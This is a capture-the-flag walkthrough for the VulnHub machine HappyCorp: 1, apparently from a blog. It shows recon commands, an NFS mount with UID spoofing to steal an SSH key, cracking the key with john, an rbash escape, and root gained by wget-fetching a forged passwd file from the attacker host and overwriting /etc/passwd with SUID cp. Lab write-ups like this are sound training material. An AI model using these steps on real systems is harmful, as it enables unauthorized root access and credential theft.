Happycorp: 1 Vulnhub target machine exercise

0 22
IntroductionDifficulty: Average beginner/intermediate virtual machine, with only...

Introduction

Difficulty: Average beginner/intermediate virtual machine, with only a few turning points.
| + You may find it very easy/hard (depending on your background).
| + ... also depends on how you attack the box.
| |
| + It should work on VMware.

Objective: Obtain root

Happycorp: 1 Vulnhub target machine exercise

Download address:HappyCorp: 1 ~ VulnHub

Obtain the target machine IP address

netdiscover -r 192.168.81.0/24

1651997340_62777a9c78225a4e2b6fa.png!small?1651997341280

Target machine IP: 81.157

Kali IP: 81.137

Scan for open port services

nmap -A 192.168.81.157  

From the nmap scan, we saw multiple open ports, such as 22: ssh, 80: http, 111: rpcbind, 2049: nfs.

Among them, port 111 and 2049 are services we are not familiar with. Search for them, and it turns out to be shared file storage, which can be accessed to obtain files via remote mounting.

1651997630_62777bbef003133c98e3d.png!small?1651997631869

Detect and exploit ports 80 & 2049;

We can check if there is anything exploitable through the web page of port 80 or the file sharing of port 2049.

Port 80

Let's take a look at the web page first. After checking, the default page does not contain any exploitable information, so we probe the subdirectories.

gobuster dir -u http://192.168.81.157 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

1652000041_62778529136743576349d.png!small?1652000041879

In the subdirectory, /admin.php is a login page, but after checking the source code, it is found to be a fake page.

1652000246_627785f6763c8c7b5dbcb.png!small?1652000247332

Port 2049

The web information does not contain any exploitable information, so we study the services developed by port 2049, view the nfs shared information, and find that the shared directory is /home/karl.

showmount -e 192.168.81.157         //showmount to view the shared files of the nfs server, -e specifies the ip

1652000500_627786f4a8c4ab60a21a6.png!small?1652000501487

Mount the shared file to the local Kali.

mkdir /tmp/nfs                       //Create folder
mount 192.168.81.157:/home/karl /tmp/nfs           //Mount to this folder
cd /tmp/nfs       
ls -al

1652000843_6277884b3e137eaf8640e.png!small?1652000844038

There is a .ssh directory, when we try to enter it, it shows insufficient permissions. The owner and group of this file are both 1001. We create the group and user on the Kali local machine.

groupadd --gid 1001 testg
useradd -m --uid 1001 --group testg -s /bin/bash testu
su - testu //Switch users

At this point, you can enter the .ssh directory.

1652003764_627793b4cc8504ca1d7c1.png!small?1652003765619

Enter user.txt to get the first flag.

1652003915_6277944b9c76c92cee3c5.png!small?1652003916403

In other files, id_rsa is the private key, id_rsa.pub is the public key, and authorized_keys is the authentication key (search rsa for related knowledge).

After checking id_rsa.pub and authorized_keys, we see karl, which should be the username for SSH login.

1652005901_62779c0d273c281953140.png!small?1652005901981

Next, I copy the private key to the tmp directory under Kali for verification of public key encryption, and find that a password is required for login.

1652006916_6277a00425c9d70aa3961.png!small?1652006916913

Then we use ssh2john to convert this SSH private key into a file that can be cracked by john, and further use the rockyou.txt dictionary for password cracking.

ssh2john id_rsa >pass.txt //pass.txt is the generated file

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt //Crack passwords

1652016621_6277c5ed634664dda515f.png!small

Get sheep, try to log in, but get rbash (restricted shell).

ssh -i id_rsa karl@192.168.81.157

1652016767_6277c67f18596c55c1f04.png!small?1652016767895

Try to directly access the bash shell, adding -t "/bin/sh".

1652017021_6277c77ddb5b4844688d1.png!small?1652017022644

Successfully obtained a normal shell.

Privilege escalation

Find files with SUID enabled.

find / -perm -u=s -type f 2>/dev/null

1652017154_6277c802e2d19920bd439.png!small?1652017155710

Among them, cpSince suid is enabled, we can write a passwd, copy and overwrite the target /etc/passwd to achieve privilege escalation.

To avoid affecting the original account, first view the passwd file, copy all the content, write it to Kali, and also write an additional root level permission user.

1. Copy the passwd from the target machine and write it to /tmp/passwd on Kali

1652017504_6277c960aa8b137de9e85.png!small?1652017505575

2. Create a root level user

openssl passwd -1 -salt hack 123456    //It has become a new encrypted password

1652017873_6277cad183e113e634b4c.png!small?1652017874298

Write the new account to /tmp/passwd and save it.

1652017986_6277cb422c2e4e75880af.png!small?1652017987004

3. Replace the passwd file

First, start the http service on the Kali side:

1652018181_6277cc05623d239c08b03.png!small?1652018182168

Then perform the following operations on the ssh side:

cd /tmp
wget http://192.168.81.137:8000/passwdcp passwd /etc/passwd
su hack
cd root
cat root.txt

Successfully obtained.

1652018465_6277cd2182ee346e8c1c5.png!small?1652018466302

Supplement

john usage

sh2john id_rsa >pass.txt(write to this file) //Convert the SSH private key to a file that can be cracked

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt //Crack

Please note that after cracking each file, the password should be saved to the .john/john.pot in the home directory, and it will be displayed if cracked again.

1652018580_6277cd94036a470981e09.png!small?1652018580761

You can view the history of破解 through john --show +filename.

你可能想看:
最后修改时间:
admin
上一篇 2025年03月29日 12:57
下一篇 2025年03月29日 13:19

评论已关闭